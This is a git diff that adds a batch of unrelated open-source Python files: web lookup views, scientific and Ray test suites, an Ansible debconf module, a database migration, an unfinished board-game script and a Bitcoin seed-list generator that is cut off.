Q(name__icontains=self.q) | Q(subtag__icontains=self.q) + ) + + if self.subtag: + return results.filter(subtag__iexact=self.q) + + results = results.annotate(person_count=Count('person')) \ + .order_by('-person_count') + + return results + + +# trainees lookup? + + +urlpatterns = [ + url(r'^events/$', EventLookupView.as_view(), name='event-lookup'), + url(r'^ttt_events/$', TTTEventLookupView.as_view(), name='ttt-event-lookup'), + url(r'^organizations/$', OrganizationLookupView.as_view(), name='organization-lookup'), + url(r'^persons/$', PersonLookupView.as_view(), name='person-lookup'), + url(r'^admins/$', AdminLookupView.as_view(), name='admin-lookup'), + url(r'^airports/$', AirportLookupView.as_view(), name='airport-lookup'), + url(r'^languages/$', LanguageLookupView.as_view(), name='language-lookup'), +] diff --git a/pool/shard009/Python/0083359_test_pin_search.py b/pool/shard009/Python/0083359_test_pin_search.py new file mode 100644 index 0000000000000000000000000000000000000000..b9c4470d2c243c7873aaa2ca21a32edca82599d6 --- /dev/null +++ b/pool/shard009/Python/0083359_test_pin_search.py @@ -0,0 +1,18 @@ +# -*- coding: utf-8 -*- + +# The MIT License (MIT) - Copyright (c) 2016-2021 Dave Vandenbout. + +import pytest + +from skidl import Part, Pin + +from .setup_teardown import setup_function, teardown_function + + +def test_pin_search_1(): + codec = Part("xess.lib", "ak4520a") + bidir = codec.get_pins(func=Pin.BIDIR) + pwrin = codec.get_pins(func=Pin.PWRIN) + assert len(bidir) == 24 + assert len(pwrin) == 4 + assert len(bidir) + len(pwrin) == len(codec) diff --git a/pool/shard009/Python/0083360_amber.py b/pool/shard009/Python/0083360_amber.py new file mode 100644 index 0000000000000000000000000000000000000000..cd0e49ce3ff6ff1d3a4465cdfb97d780c8ddf55b --- /dev/null +++ b/pool/shard009/Python/0083360_amber.py @@ -0,0 +1,49 @@ +from __future__ import print_function, absolute_import, division +from future.builtins import * +from future import standard_library +standard_library.install_aliases() + +# Copyright 2017 Autodesk Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import moldesign as mdt + +from .. import data +from ..utils import exports +from . import TLeapForcefield + + +@exports +class TLeapLib(TLeapForcefield): + """ A forcefield from TLeap's library + """ + def __init__(self, *ffnames): + self.names = ffnames + sourcelines = ['source %s' % data.AMBER_LEAPRC[ffn] for ffn in ffnames] + super().__init__(sourcelines) + + def __str__(self): + return "TLeap data: %s" % ','.join(self.names) + + +@exports +class DefaultAmber(TLeapLib): + def __init__(self): + super().__init__(*data.AMBER_DEFAULT) + + +@exports +class GAFF2ForceField(TLeapLib): + def __init__(self): + super().__init__('gaff2') diff --git a/pool/shard009/Python/0083361_testimonials.py b/pool/shard009/Python/0083361_testimonials.py new file mode 100644 index 0000000000000000000000000000000000000000..274a027a747edc066173c1e4d48049be7f2245bc --- /dev/null +++ b/pool/shard009/Python/0083361_testimonials.py @@ -0,0 +1,74 @@ +#!/usr/bin/python3 +# testimonials.py by Bill Weinman +# Copyright (c) 2010 The BearHeart Group, LLC +# created 2010-04-23 +# + +from bwDB import bwDB +from bwConfig import configFile +import random +import os + +__version__ = "1.0.1" + +g = dict( + config_file = 'db.conf', + table_name = 'testimonial' +) + +def main(): + init() + db = g['db'] + idlist = [] + + # build a list of ids + for r in db.sql_query(' SELECT id FROM {} '.format(g['table_name'])): + idlist.append(r[0]) + + # get the count of records to display + try: count = int(os.environ.get('QUERY_STRING', 3)) + except ValueError: error("Invalid query string, must be a number") + idcount = len(idlist) + + # check that the count is not too big + maxcount = idcount // 4 + if count > maxcount: + error('There are {} records in the database. '.format(idcount) + + 'For good randomness, you cannot display more than {} at a time.'.format( maxcount ) + ) + + # build the list of random ids + result_ids = [] + while len(result_ids) < count: + randindex = random.randint(0, len(idlist) - 1) + randid = idlist[randindex] + del idlist[randindex] # don't use that one again + result_ids += [ randid ] + + # display them + for id in result_ids: + printrec(id) + +def printrec(id): + db = g['db'] + rec = db.getrec(id) + print('

') + print('

{}

'.format(rec['testimonial'])) + print(''.format(rec['byline'])) + print('
') + + +def init(): + send_header() + g['config'] = configFile(g['config_file']).recs() + g['db'] = bwDB(filename = g['config']['db'], table = g['table_name']) + +def send_header(): + print('Content-type: text/html\n\n', end = '') + +def error(e): + print(e) + exit(0) + +if __name__ == "__main__": main() + diff --git a/pool/shard009/Python/0083362_RectangularDetectorTest.py b/pool/shard009/Python/0083362_RectangularDetectorTest.py new file mode 100644 index 0000000000000000000000000000000000000000..7af401d2990601f7f45c0bec45cce04481ea3c7b --- /dev/null +++ b/pool/shard009/Python/0083362_RectangularDetectorTest.py @@ -0,0 +1,41 @@ +# Mantid Repository : https://github.com/mantidproject/mantid +# +# Copyright © 2018 ISIS Rutherford Appleton Laboratory UKRI, +# NScD Oak Ridge National Laboratory, European Spallation Source +# & Institut Laue - Langevin +# SPDX - License - Identifier: GPL - 3.0 + +from __future__ import (absolute_import, division, print_function) + +import unittest +from mantid.geometry import * +from testhelpers import can_be_instantiated, WorkspaceCreationHelper + +class RectangularDetectorTest(unittest.TestCase): + + def test_RectangularDetector_cannot_be_instantiated(self): + self.assertFalse(can_be_instantiated(RectangularDetector)) + + def test_RectangularDetector_has_expected_attributes(self): + attrs = dir(RectangularDetector) + expected_attrs = ['idfillbyfirst_y','idstart', 'idstep','idstepbyrow', 'maxDetectorID', 'minDetectorID', 'xpixels', 'xsize', 'xstart', 'xstep', 'ypixels', 'ysize', 'ystart', 'ystep','type','nelements'] + for att in expected_attrs: + self.assertTrue(att in attrs) + + def test_RectangularDetector_getattributes(self): + testws = WorkspaceCreationHelper.create2DWorkspaceWithRectangularInstrument(3,5,5) + i = testws.getInstrument() + self.assertEquals(i[2].getName(),'bank3') + self.assertEquals(i[2][2].getName(),'bank3(x=2)') + self.assertEquals(i[2][2][2].getName(),'bank3(2,2)') + self.assertEquals(i[2].nelements(),5) + self.assertEquals(i[2].xstart()+i[2].xstep()*i[2].xpixels(),0.04) + self.assertEquals(i[1].ystart()+i[1].ystep()*i[1].ypixels(),0.04) + self.assertEquals(i[0].xsize(),0.04) + self.assertEquals(i[2].idstart(),75) + self.assertEquals(i[0].idstep(),1) + self.assertEquals(i[1].idstepbyrow(),5) + self.assertEquals(i[1].maxDetectorID(),74) + self.assertEquals(i[1].minDetectorID(),50) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083363_test_job.py b/pool/shard009/Python/0083363_test_job.py new file mode 100644 index 0000000000000000000000000000000000000000..6008690e02f6a12cbc6be22092bf9adc03017484 --- /dev/null +++ b/pool/shard009/Python/0083363_test_job.py @@ -0,0 +1,173 @@ +import time +import os + +import ray +from ray.job_config import JobConfig +from ray.test_utils import ( + run_string_as_driver, + run_string_as_driver_nonblocking, + wait_for_condition, + wait_for_num_actors, +) + + +def test_job_gc(call_ray_start): + address = call_ray_start + + ray.init(address=address) + driver = """ +import ray + +ray.init(address="{}") + +@ray.remote +class Actor: + def __init__(self): + pass + +_ = Actor.remote() +""".format(address) + + p = run_string_as_driver_nonblocking(driver) + # Wait for actor to be created + wait_for_num_actors(1) + + actor_table = ray.state.actors() + assert len(actor_table) == 1 + + job_table = ray.state.jobs() + assert len(job_table) == 2 # dash + + # Kill the driver process. + p.kill() + p.wait() + + def actor_finish(): + actor_table = ray.state.actors() + if (len(actor_table) == 0): + return True + else: + return False + + wait_for_condition(actor_finish) + + +def test_job_gc_with_detached_actor(call_ray_start): + address = call_ray_start + + ray.init(address=address, namespace="") + driver = """ +import ray + +ray.init(address="{}", namespace="") + +@ray.remote +class Actor: + def __init__(self): + pass + + def value(self): + return 1 + +_ = Actor.options(lifetime="detached", name="DetachedActor").remote() +# Make sure the actor is created before the driver exits. +ray.get(_.value.remote()) +""".format(address) + + p = run_string_as_driver_nonblocking(driver) + # Wait for actor to be created + wait_for_num_actors(1, ray.gcs_utils.ActorTableData.ALIVE) + + actor_table = ray.state.actors() + assert len(actor_table) == 1 + + job_table = ray.state.jobs() + assert len(job_table) == 2 # dash + + # Kill the driver process. + p.kill() + p.wait() + + detached_actor = ray.get_actor("DetachedActor") + assert ray.get(detached_actor.value.remote()) == 1 + + +def test_job_timestamps(ray_start_regular): + driver_template = """ +import ray +from time import sleep + +ray.init(address="{}") + +print("My job id: ", str(ray.get_runtime_context().job_id)) + +{} +ray.shutdown() + """ + + non_hanging = driver_template.format(ray_start_regular["redis_address"], + "sleep(1)") + hanging_driver = driver_template.format(ray_start_regular["redis_address"], + "sleep(60)") + + out = run_string_as_driver(non_hanging) + p = run_string_as_driver_nonblocking(hanging_driver) + # The nonblocking process needs time to connect. + time.sleep(1) + + jobs = list(ray.state.jobs()) + jobs.sort(key=lambda x: x["JobID"]) + + driver = jobs[0] + finished = jobs[1] + running = jobs[2] + + # The initial driver timestamp/start time go down a different code path. + assert driver["Timestamp"] == driver["StartTime"] + assert finished["Timestamp"] == finished["EndTime"] + assert running["Timestamp"] == running["StartTime"] + + assert finished["EndTime"] > finished["StartTime"] > 0, out + lapsed = finished["EndTime"] - finished["StartTime"] + assert 0 < lapsed < 2000, f"Job should've taken ~1s, {finished}" + + assert running["StartTime"] > 0 + assert running["EndTime"] == 0 + + p.kill() + # Give the second job time to clean itself up. + time.sleep(1) + + jobs = list(ray.state.jobs()) + jobs.sort(key=lambda x: x["JobID"]) + + # jobs[0] is the test case driver. + finished = jobs[1] + prev_running = jobs[2] + + assert finished["EndTime"] > finished["StartTime"] > 0, f"{finished}" + assert finished["EndTime"] == finished["Timestamp"] + lapsed = finished["EndTime"] - finished["StartTime"] + assert 0 < lapsed < 2000, f"Job should've taken ~1s {finished}" + + assert prev_running["EndTime"] > prev_running["StartTime"] > 0 + + +def test_config_metadata(shutdown_only): + job_config = JobConfig(metadata={"abc": "xyz"}) + job_config.set_metadata("xyz", "abc") + + ray.init(job_config=job_config) + + from_worker = ray.worker.global_worker.core_worker.get_job_config() + + assert dict(from_worker.metadata) == job_config.metadata + + +if __name__ == "__main__": + import pytest + import sys + # Make subprocess happy in bazel. + os.environ["LC_ALL"] = "en_US.UTF-8" + os.environ["LANG"] = "en_US.UTF-8" + sys.exit(pytest.main(["-v", __file__])) diff --git a/pool/shard009/Python/0083366_active_learning.py b/pool/shard009/Python/0083366_active_learning.py new file mode 100644 index 0000000000000000000000000000000000000000..769e9df50af79059d4c6e6a1efcfd26d71a481d1 --- /dev/null +++ b/pool/shard009/Python/0083366_active_learning.py @@ -0,0 +1,73 @@ +from model import * + +# ------------------------------------------------------------------ helpers and mgmt +def get_feed_dic_obs(obs): + # needing to create all the nessisary feeds + obs_x = [] + obs_y = [] + obs_tf = [] + + for _ in range(OBS_SIZE): + obs_x.append(np.zeros([N_BATCH,L])) + obs_y.append(np.zeros([N_BATCH,L])) + obs_tf.append(np.zeros([N_BATCH,2])) + + num_obs = len(obs) + for ob_idx in range(num_obs): + ob_coord, ob_lab = obs[ob_idx] + ob_x, ob_y = vectorize(ob_coord) + obs_x[ob_idx] = np.tile(ob_x, [50,1]) + obs_y[ob_idx] = np.tile(ob_y, [50,1]) + obs_tf[ob_idx] = np.tile(ob_lab, [50,1]) + + feed_dic = dict(zip(ph_obs_x + ph_obs_y + ph_obs_tf, + obs_x + obs_y + obs_tf)) + return feed_dic + +def get_inv(sess, obs): + num_obs = len(obs) + return get_inv_tr(sess, obs)[num_obs] + +def get_inv_tr(sess, obs): + num_obs = len(obs) + feed_dic = get_feed_dic_obs(obs) + x_invss = [np.argmax(x[0]) for x in sess.run(x_invs, feed_dict = feed_dic)] + y_invss = [np.argmax(x[0]) for x in sess.run(y_invs, feed_dict = feed_dic)] + return zip(x_invss, y_invss) + +def get_most_confuse(sess, obs): + feed_dic = get_feed_dic_obs(obs) + key_ob = len(obs) + + all_querys = [] + for i in range(L): + for j in range(L): + all_querys.append((i,j)) + + most_conf = (1.0, None) + + for q in all_querys: + q_x, q_y = vectorize(q) + feed_dic[ph_new_ob_x] = np.tile(q_x, [N_BATCH,1]) + feed_dic[ph_new_ob_y] = np.tile(q_y, [N_BATCH,1]) + pred_tf = sess.run(query_preds, feed_dict=feed_dic)[key_ob][0] + most_conf = min(most_conf, (abs(pred_tf[0] - pred_tf[1]), q)) + + return most_conf[1] + +def get_random_inv(sess, query): + ob_pts = [(np.random.randint(0, L), np.random.randint(0,L)) for _ in range(OBS_SIZE)] + obs = [(op, query(op)) for op in ob_pts] + return zip([None] + obs, get_inv_tr(sess, obs)) + +def get_active_inv(sess, query): + obs = [] + + for i in range(OBS_SIZE): + try_inv = get_inv(sess, obs) + most_conf = get_most_confuse(sess, obs) + print "chosen observation ", most_conf + obs.append((most_conf, query(most_conf))) + + return zip([None] + obs, get_inv_tr(sess, obs)) + diff --git a/pool/shard009/Python/0083369_omega_virus.py b/pool/shard009/Python/0083369_omega_virus.py new file mode 100644 index 0000000000000000000000000000000000000000..0067cde17cfb9b6e6eba39c509bc1b9813441e14 --- /dev/null +++ b/pool/shard009/Python/0083369_omega_virus.py @@ -0,0 +1,226 @@ +#!/usr/bin/python + +''' +# Insert docopt user help menu here? + +# Good resource for game mechanics w/o having to get game manual :D +# https://boardgamegeek.com/thread/372462/omega-virus-human-scum-review + +# End docopt +''' + +# Lets define some imports! :D +import sys +import random +from random import randint +import time + + +def difficulty(): + # Define the length of the game (these values are probably wrong :D Need to check rulebook. + # 0 - 30 Minutes + # 1 - 20 Minutes + # 2 - 15 Minutes + # 3 - Custom -- Do we -REALLY- want to do this? + + usrDiff = raw_input("Select a difficulty [0,1 or 2]: ") + + if usrDiff == "0": + gameDiff = 30 + + elif usrDiff == "1": + gameDiff = 20 + + elif usrDiff == "2": + gameDiff = 15 + + elif usrDiff == "4": + gameDiff = raw_input("Fine... pick two numbers then: ") + + else: + print("Don't like those options? NO GAME 4 U!") + quit() + + return gameDiff + +def numPlayers(): + # In the orginal game, the Computer asks each player to enter their secret code at the beginning of the game. + # This then defines which colors are active. There may be a simpler way of doing this though... + + + + + return playerCount + +def timer(): + run = raw_input("Start? > ") + mins = gameDiff + # Only run if the user types in "start" + if run == "start": + # When 9 minutes are left one sector is shut down, and every 3 minutes after this another is shut down. + while mins != 9: + # Keep playing + # Sleep for a minute + time.sleep(60) + + sectorList = ['blue', 'green', 'red', 'yellow'] + shutdown = random.choice(sectorList) + print(shutdown + "Sector Shutdown!") + + # Build new sector list + sectorList == sectorList - shutdown + + # Move all players to docking bay of random sector on the new list + teleport = random.choice(sectorList) + + # Wash, rinse, repeat until: Virus wins (all sectors shutdown) OR Players win (kill virus) + # I KNOW there is a better way to loop this... + ''' + while mins != 6: + # Keep playing + # Sleep for a minute + time.sleep(60) + + sectorList = ['blue', 'green', 'red', 'yellow'] + shutdown = random.choice(sectorList) + print(shutdown + "Sector Shutdown!") + + # Build new sector list + sectorList == sectorList - shutdown + + # Move all players to docking bay of random sector on the new list + teleport = random.choice(sectorList + ''' + + +# Commenting this out because we -probably- don't need it. +''' +def sectors(): + # Docking Bays (Blue, Green, Red, Yellow) + # Blue Rooms + # Green Rooms + # Red Rooms + # Yellow Rooms +''' + + +def roomList(): + # Docking Bays (Blue, Green, Red, Yellow) + # List of rooms + # Green (open rooms) + # Blue (requires blue key) + # Red (requires red key) + # Yellow (requires yellow key) + +def roomContents(): + # Each room can have one of: + # 1. An ADV + # 2. An access card + # 3. A Probe (more on this in a little bit) + # 4. A hazard + # 5. The virus (presumably chilling out) + # 6. Nothing at all + +def items(): + # Four of each, to be distributed across the map. + # Access keys (Blue, Red, Yellow) + # Decoder - yellow + # Disruptor - blue + # Negatron - red + # Probe + +def playerBag(): + # A place to define inventory. + def bluePlayer(): + blueKey = boolean + redKey = boolean + yellowKey = boolean + blueProbe = boolean + decoder = boolean + disruptor = boolean + negatron = boolean + return blueInventory + + def greenPlayer(): + blueKey = boolean + redKey = boolean + yellowKey = boolean + blueProbe = boolean + decoder = boolean + disruptor = boolean + negatron = boolean + return blueInventory + + def redPlayer(): + blueKey = boolean + redKey = boolean + yellowKey = boolean + blueProbe = boolean + decoder = boolean + disruptor = boolean + negatron = boolean + return blueInventory + + def yellowPlayer(): + blueKey = boolean + redKey = boolean + yellowKey = boolean + blueProbe = boolean + decoder = boolean + disruptor = boolean + negatron = boolean + return blueInventory + +def probes(): + # Probes can move, explore and be attacked just like players. However they cannot attack themselves. + # Blue + # Green + # Red + # Yellow + +def rng(): + # Random number generator ranging from 0-2 + rng = randint(0,2) + return rng + +def secretCode(): + # Secret codes let players know where the virus is provided: + # a) They enter a room where the virus is + # b) They do not have all three weapons + # c) Should we let probes find the virus? + +def userInput(): + # We will need a way for players to input numbers (0,1,2) + # This is for room numbers, secret codes, and combat + blueCode = raw_input("Blue player enter secret code: ") + greenCode = raw_input("Green player enter secret code: ") + redCode = raw_input("Red player enter secret code: ") + yellowCode = raw_input("Yellow player enter secret code: ") + +def combat(): + # Combat includes, players attacking one another (or their drones) as well as attaking the virus. + # Defender picks a value (0,1 or 2), and the Attacker picks one as well. + # If both match, then the attacker wins. I.e. the Virus is killed, the player looses an item (at random), + # or the drone dies. + +def phrasing(): + # This is a placeholder for all of the phrases that are used throuout the game. + # --Virus-- + # "You Human Scum!" + # "Which room?" + # "Help me! Help me!" (Mockingly) + # "Blue Sector, Shut Down." + # "Green Sector, Shut Down." + # "Red Sector, Shut Down." + # "Yellow Sector, Shut Down." + # "You have [time] minutes until -I- take over!" + # "Mwahahaha!" + # "You missed!" + # "You killed me! You, human... scum." + # "I win!" + # "[player_color] is attacking [player_color] hahaha" + # "[player_color] is attacking [player_color] done how amusing" + # + # --Computer-- + # "[player_color] enter secret code" + # "[player_color] help me" diff --git a/pool/shard009/Python/0083371_debconf.py b/pool/shard009/Python/0083371_debconf.py new file mode 100644 index 0000000000000000000000000000000000000000..468f0b5725e6bf5e5e143ca80979252045b31dde --- /dev/null +++ b/pool/shard009/Python/0083371_debconf.py @@ -0,0 +1,191 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +""" +Ansible module to configure .deb packages. +(c) 2014, Brian Coca + +This file is part of Ansible + +Ansible is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +Ansible is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Ansible. If not, see . +""" + +DOCUMENTATION = ''' +--- +module: debconf +short_description: Configure a .deb package +description: + - Configure a .deb package using debconf-set-selections. Or just query + existing selections. +version_added: "1.6" +notes: + - This module requires the command line debconf tools. + - A number of questions have to be answered (depending on the package). + Use 'debconf-show ' on any Debian or derivative with the package + installed to see questions/settings available. + - Some distros will always record tasks involving the setting of passwords as changed. This is due to debconf-get-selections masking passwords. +requirements: [ debconf, debconf-utils ] +options: + name: + description: + - Name of package to configure. + required: true + default: null + aliases: ['pkg'] + question: + description: + - A debconf configuration setting + required: false + default: null + aliases: ['setting', 'selection'] + vtype: + description: + - The type of the value supplied. + - C(seen) was added in 2.2. + required: false + default: null + choices: [string, password, boolean, select, multiselect, note, error, title, text, seen] + value: + description: + - Value to set the configuration to + required: false + default: null + aliases: ['answer'] + unseen: + description: + - Do not set 'seen' flag when pre-seeding + required: false + default: False +author: "Brian Coca (@bcoca)" + +''' + +EXAMPLES = ''' +# Set default locale to fr_FR.UTF-8 +- debconf: + name: locales + question: locales/default_environment_locale + value: fr_FR.UTF-8 + vtype: select + +# set to generate locales: +- debconf: + name: locales + question: locales/locales_to_be_generated + value: en_US.UTF-8 UTF-8, fr_FR.UTF-8 UTF-8 + vtype: multiselect + +# Accept oracle license +- debconf: + name: oracle-java7-installer + question: shared/accepted-oracle-license-v1-1 + value: true + vtype: select + +# Specifying package you can register/return the list of questions and current values +- debconf: + name: tzdata +''' + +def get_selections(module, pkg): + cmd = [module.get_bin_path('debconf-show', True), pkg] + rc, out, err = module.run_command(' '.join(cmd)) + + if rc != 0: + module.fail_json(msg=err) + + selections = {} + + for line in out.splitlines(): + (key, value) = line.split(':', 1) + selections[ key.strip('*').strip() ] = value.strip() + + return selections + + +def set_selection(module, pkg, question, vtype, value, unseen): + + setsel = module.get_bin_path('debconf-set-selections', True) + cmd = [setsel] + if unseen: + cmd.append('-u') + + if vtype == 'boolean': + if value == 'True': + value = 'true' + elif value == 'False': + value = 'false' + data = ' '.join([pkg, question, vtype, value]) + + return module.run_command(cmd, data=data) + +def main(): + + module = AnsibleModule( + argument_spec = dict( + name = dict(required=True, aliases=['pkg'], type='str'), + question = dict(required=False, aliases=['setting', 'selection'], type='str'), + vtype = dict(required=False, type='str', choices=['string', 'password', 'boolean', 'select', 'multiselect', 'note', 'error', 'title', 'text', 'seen']), + value = dict(required=False, type='str', aliases=['answer']), + unseen = dict(required=False, type='bool'), + ), + required_together = ( ['question','vtype', 'value'],), + supports_check_mode=True, + ) + + #TODO: enable passing array of options and/or debconf file from get-selections dump + pkg = module.params["name"] + question = module.params["question"] + vtype = module.params["vtype"] + value = module.params["value"] + unseen = module.params["unseen"] + + prev = get_selections(module, pkg) + + changed = False + msg = "" + + if question is not None: + if vtype is None or value is None: + module.fail_json(msg="when supplying a question you must supply a valid vtype and value") + + if not question in prev or prev[question] != value: + changed = True + + if changed: + if not module.check_mode: + rc, msg, e = set_selection(module, pkg, question, vtype, value, unseen) + if rc: + module.fail_json(msg=e) + + curr = { question: value } + if question in prev: + prev = {question: prev[question]} + else: + prev[question] = '' + if module._diff: + after = prev.copy() + after.update(curr) + diff_dict = {'before': prev, 'after': after} + else: + diff_dict = {} + + module.exit_json(changed=changed, msg=msg, current=curr, previous=prev, diff=diff_dict) + + module.exit_json(changed=changed, msg=msg, current=prev) + +# import module snippets +from ansible.module_utils.basic import * + +main() diff --git a/pool/shard009/Python/0083372_frequency_map_test.py b/pool/shard009/Python/0083372_frequency_map_test.py new file mode 100644 index 0000000000000000000000000000000000000000..b7f6c26f20c27bb9d0a8ed4397831f89d1a1c4f3 --- /dev/null +++ b/pool/shard009/Python/0083372_frequency_map_test.py @@ -0,0 +1,23 @@ +__author__ = 'yue' + + +import unittest +import frequency_map as fmap + + +class TestFrequencyMap(unittest.TestCase): + + def test_ctor(self): + fm = fmap.FrequencyMap('aaabbc') + self.assertEqual(3, fm.dictionary['a']) + self.assertEqual(2, fm.dictionary['b']) + self.assertEqual(1, fm.dictionary['c']) + + def test_frequency_to_bytes(self): + self.assertEqual([0x01], fmap.FrequencyMap.frequency_to_bytes(0x01)) + self.assertEqual([0xab, 0xcd], fmap.FrequencyMap.frequency_to_bytes(0xabcd)) + self.assertEqual([0x0b, 0xcd], fmap.FrequencyMap.frequency_to_bytes(0xbcd)) + + def test_str(self): + fm = fmap.FrequencyMap('aaabbc') + self.assertEqual(12, len(str(fm))) diff --git a/pool/shard009/Python/0083374_auto_20200504_134507_39a2a2285c4e.py b/pool/shard009/Python/0083374_auto_20200504_134507_39a2a2285c4e.py new file mode 100644 index 0000000000000000000000000000000000000000..8ace5f768b83efd95d484240599543f97cadb756 --- /dev/null +++ b/pool/shard009/Python/0083374_auto_20200504_134507_39a2a2285c4e.py @@ -0,0 +1,73 @@ +# 2020-05-04 13:45:07.486536 +from alembic import op +import sqlalchemy as sa + + +revision = '39a2a2285c4e' +down_revision = None +branch_labels = None +depends_on = None + + +def upgrade(): + # ### commands auto generated by Alembic - please adjust! ### + op.create_table('groups', + sa.Column('id', sa.BigInteger(), nullable=False), + sa.Column('name', sa.String(), nullable=False), + sa.Column('locale', sa.String(), nullable=True), + sa.PrimaryKeyConstraint('id') + ) + op.create_table('users', + sa.Column('id', sa.BigInteger(), nullable=False), + sa.Column('login', sa.String(), nullable=True), + sa.Column('name', sa.String(), nullable=False), + sa.Column('is_mute_enabled', sa.Boolean(), nullable=False), + sa.Column('is_known', sa.Boolean(), nullable=False), + sa.Column('locale', sa.String(), nullable=True), + sa.PrimaryKeyConstraint('id') + ) + op.create_table('group_members', + sa.Column('user_id', sa.BigInteger(), nullable=True), + sa.Column('group_id', sa.BigInteger(), nullable=True), + sa.ForeignKeyConstraint(['group_id'], ['groups.id'], onupdate='CASCADE', ondelete='CASCADE'), + sa.ForeignKeyConstraint(['user_id'], ['users.id'], onupdate='CASCADE', ondelete='CASCADE') + ) + op.create_table('pending_actions', + sa.Column('id', sa.BigInteger().with_variant(sa.Integer(), 'sqlite'), autoincrement=True, nullable=False), + sa.Column('user_id', sa.BigInteger(), nullable=False), + sa.Column('chat_id', sa.BigInteger(), nullable=False), + sa.Column('action', sa.String(), nullable=False), + sa.ForeignKeyConstraint(['user_id'], ['users.id'], onupdate='CASCADE', ondelete='CASCADE'), + sa.PrimaryKeyConstraint('id') + ) + op.create_table('requests', + sa.Column('id', sa.BigInteger().with_variant(sa.Integer(), 'sqlite'), autoincrement=True, nullable=False), + sa.Column('message_id', sa.BigInteger(), nullable=False), + sa.Column('chat_id', sa.BigInteger(), nullable=False), + sa.Column('created_at', sa.DateTime(), nullable=False), + sa.Column('author_id', sa.BigInteger(), nullable=False), + sa.Column('title', sa.String(), nullable=False), + sa.ForeignKeyConstraint(['author_id'], ['users.id'], onupdate='CASCADE', ondelete='CASCADE'), + sa.PrimaryKeyConstraint('id') + ) + op.create_table('responses', + sa.Column('id', sa.BigInteger().with_variant(sa.Integer(), 'sqlite'), autoincrement=True, nullable=False), + sa.Column('user_id', sa.BigInteger(), nullable=False), + sa.Column('request_id', sa.BigInteger(), nullable=False), + sa.Column('answer', sa.BigInteger(), nullable=False), + sa.ForeignKeyConstraint(['request_id'], ['requests.id'], onupdate='CASCADE', ondelete='CASCADE'), + sa.ForeignKeyConstraint(['user_id'], ['users.id'], onupdate='CASCADE', ondelete='CASCADE'), + sa.PrimaryKeyConstraint('id') + ) + # ### end Alembic commands ### + + +def downgrade(): + # ### commands auto generated by Alembic - please adjust! ### + op.drop_table('responses') + op.drop_table('requests') + op.drop_table('pending_actions') + op.drop_table('group_members') + op.drop_table('users') + op.drop_table('groups') + # ### end Alembic commands ### diff --git a/pool/shard009/Python/0083375_base.py b/pool/shard009/Python/0083375_base.py new file mode 100644 index 0000000000000000000000000000000000000000..4bf4a6d2332e74cb62000c3bebae253ec4038615 --- /dev/null +++ b/pool/shard009/Python/0083375_base.py @@ -0,0 +1,58 @@ +import unittest + +from app import create_app +from app.database import db +from app.profile.models import User, Publisher, PublisherUser, UserRoleEnum +from app.package.models import Package +import app.logic as logic + + +def make_fixtures(app, package, publisher, user_id): + with app.app_context(): + user = User( + id=user_id, + email='test@test.com', + name=publisher, + secret='super_secret' + ) + pub = Publisher(name=publisher) + pub.packages.append(Package(name=package)) + association = PublisherUser(role=UserRoleEnum.owner) + association.publisher = pub + user.publishers.append(association) + + user1 = User(id=2, name='test1', + secret='super_secret1', email="test1@test.com") + pub1 = Publisher(name='test1') + association1 = PublisherUser(role=UserRoleEnum.owner) + association1.publisher = pub1 + user1.publishers.append(association1) + + db.session.add(user) + db.session.add(user1) + db.session.commit() + +def create_test_package(publisher='demo', package='demo-package', descriptor={}, readme=''): + user = User(name=publisher, secret='supersecret', email='test@test.com') + publisher = Publisher(name=publisher) + association = PublisherUser(role=UserRoleEnum.owner) + association.publisher = publisher + user.publishers.append(association) + + package = Package(name=package, descriptor=descriptor, readme=readme) + publisher.packages.append(package) + + db.session.add(user) + db.session.commit() + +def get_valid_token(username): + user = User.query.filter_by(name=username).one() + return logic.get_jwt_token(secret=user.secret, username=username) + + +class TestBase(unittest.TestCase): + def setup_class(self): + db.drop_all() + db.create_all() + create_test_package() + diff --git a/pool/shard009/Python/0083378_generate-seeds.py b/pool/shard009/Python/0083378_generate-seeds.py new file mode 100644 index 0000000000000000000000000000000000000000..37188381d0f75b2462795a1eac409f136f51b27e --- /dev/null +++ b/pool/shard009/Python/0083378_generate-seeds.py @@ -0,0 +1,135 @@ +#!/usr/bin/python +# Copyright (c) 2014 Wladmir J. van der Laan +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +''' +Script to generate list of seed nodes for chainparams.cpp. + +This script expects two text files in the directory that is passed as an +argument: + + nodes_main.txt + nodes_test.txt + +These files must consist of lines in the format + + + : + [] + []: + .onion + 0xDDBBCCAA (IPv4 little-endian old pnSeeds format) + +The output will be two data structures with the peers in binary format: + + static SeedSpec6 pnSeed6_main[]={ + ... + } + static SeedSpec6 pnSeed6_test[]={ + ... + } + +These should be pasted into `src/chainparamsseeds.h`. +''' +from __future__ import print_function, division +from base64 import b32decode +from binascii import a2b_hex +import sys, os +import re + +# ipv4 in ipv6 prefix +pchIPv4 = bytearray([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xff]) +# tor-specific ipv6 prefix +pchOnionCat = bytearray([0xFD,0x87,0xD8,0x7E,0xEB,0x43]) + +def name_to_ipv6(addr): + if len(addr)>6 and addr.endswith('.onion'): + vchAddr = b32decode(addr[0:-6], True) + if len(vchAddr) != 16-len(pchOnionCat): + raise ValueError('Invalid onion %s' % s) + return pchOnionCat + vchAddr + elif '.' in addr: # IPv4 + return pchIPv4 + bytearray((int(x) for x in addr.split('.'))) + elif ':' in addr: # IPv6 + sub = [[], []] # prefix, suffix + x = 0 + addr = addr.split(':') + for i,comp in enumerate(addr): + if comp == '': + if i == 0 or i == (len(addr)-1): # skip empty component at beginning or end + continue + x += 1 # :: skips to suffix + assert(x < 2) + else: # two bytes per component + val = int(comp, 16) + sub[x].append(val >> 